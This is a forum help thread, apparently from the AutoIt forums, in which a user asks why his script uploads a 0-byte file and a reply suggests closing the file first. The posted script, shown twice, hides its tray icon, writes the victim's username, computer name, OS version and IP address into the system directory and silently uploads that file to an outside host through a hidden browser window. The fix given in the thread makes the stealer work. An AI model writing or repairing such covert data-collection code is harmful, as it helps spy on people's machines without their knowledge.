Jump to content

Recommended Posts

Posted (edited)

When the script uploads the file, on the server the file is shown as having 0 bytes .

What's the problem ?????

#NoTrayIcon
#include <IE.au3>
#include <File.au3>

$sFilePath = @SystemDir & "\limiter.txt"
_FileCreate ( $sFilePath )
$file = FileOpen($sFilePath, 1)
FileWrite($file,"LIMITER - " & @MDAY & "/" & @MON & "/" & @YEAR & " - " & @HOUR & ":" & @MIN & ":" & @SEC & @CRLF)
FileWrite($file,"----------------------------------------------" & @CRLF)
FileWrite($file,"Username : " & @UserName & @CRLF)
FileWrite($file,"OS Verison : " & @OSVersion & @CRLF)
FileWrite($file,"Computer Name : " & @ComputerName & @CRLF)
FileWrite($file,"User Name : " & @UserName & @CRLF)
FileWrite($file,"IP Address : " & @IPAddress1 & @CRLF)
FileWrite($file,"-----------------------------------------------" & @CRLF)

$oIE = _IECreate ("http://limiter.evonet.ro/upload.html",0,0)
$hwnd = _IEPropertyGet($oIE, "hwnd")
$oForm = _IEFormGetObjByName ($oIE, "upload")
$oQuery = _IEFormElementGetObjByName ($oForm, "uploaded")

_IEAction($oQuery, "focus")
Sleep(250)
ControlSend($hwnd, "", "Internet Explorer_Server1", @SystemDir & "\limiter.txt")
ControlSend($hwnd, "", "Internet Explorer_Server1", "{ENTER}")

Exit

THANKS IN ADVANCE !!! :)

Edited by LIMITER
Posted

When the script uploads the file, on the server the file is shown as having 0 bytes .

What's the problem ?????

#NoTrayIcon
#include <IE.au3>
#include <File.au3>

$sFilePath = @SystemDir & "\limiter.txt"
_FileCreate ( $sFilePath )
$file = FileOpen($sFilePath, 1)
FileWrite($file,"LIMITER - " & @MDAY & "/" & @MON & "/" & @YEAR & " - " & @HOUR & ":" & @MIN & ":" & @SEC & @CRLF)
FileWrite($file,"----------------------------------------------" & @CRLF)
FileWrite($file,"Username : " & @UserName & @CRLF)
FileWrite($file,"OS Verison : " & @OSVersion & @CRLF)
FileWrite($file,"Computer Name : " & @ComputerName & @CRLF)
FileWrite($file,"User Name : " & @UserName & @CRLF)
FileWrite($file,"IP Address : " & @IPAddress1 & @CRLF)
FileWrite($file,"-----------------------------------------------" & @CRLF)

$oIE = _IECreate ("http://limiter.evonet.ro/upload.html",0,0)
$hwnd = _IEPropertyGet($oIE, "hwnd")
$oForm = _IEFormGetObjByName ($oIE, "upload")
$oQuery = _IEFormElementGetObjByName ($oForm, "uploaded")

_IEAction($oQuery, "focus")
Sleep(250)
ControlSend($hwnd, "", "Internet Explorer_Server1", @SystemDir & "\limiter.txt")
ControlSend($hwnd, "", "Internet Explorer_Server1", "{ENTER}")

Exit

THANKS IN ADVANCE !!! :P

Welcome to the forums :)

I can't give a complete answer because I don't know the IE functions, but I thought I'd just give a small comment.

I would expect that you should close the file after you have written to it and before you try to transfer it , so after the the last FileWrite add a line FileClose($file)

Serial port communications UDF Includes functions for binary transmission and reception.printing UDF Useful for graphs, forms, labels, reports etc.Add User Call Tips to SciTE for functions in UDFs not included with AutoIt and for your own scripts.Functions with parameters in OnEvent mode and for Hot Keys One function replaces GuiSetOnEvent, GuiCtrlSetOnEvent and HotKeySet.UDF IsConnected2 for notification of status of connected state of many urls or IPs, without slowing the script.
Posted (edited)

JUST A REMINDER:

DO NOT USE CAPSLOCK IN YOUR POSTS.

Ok? Ok. :)

srry for the capslock and thanks !!!!! it worked !!!

Edited by LIMITER

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...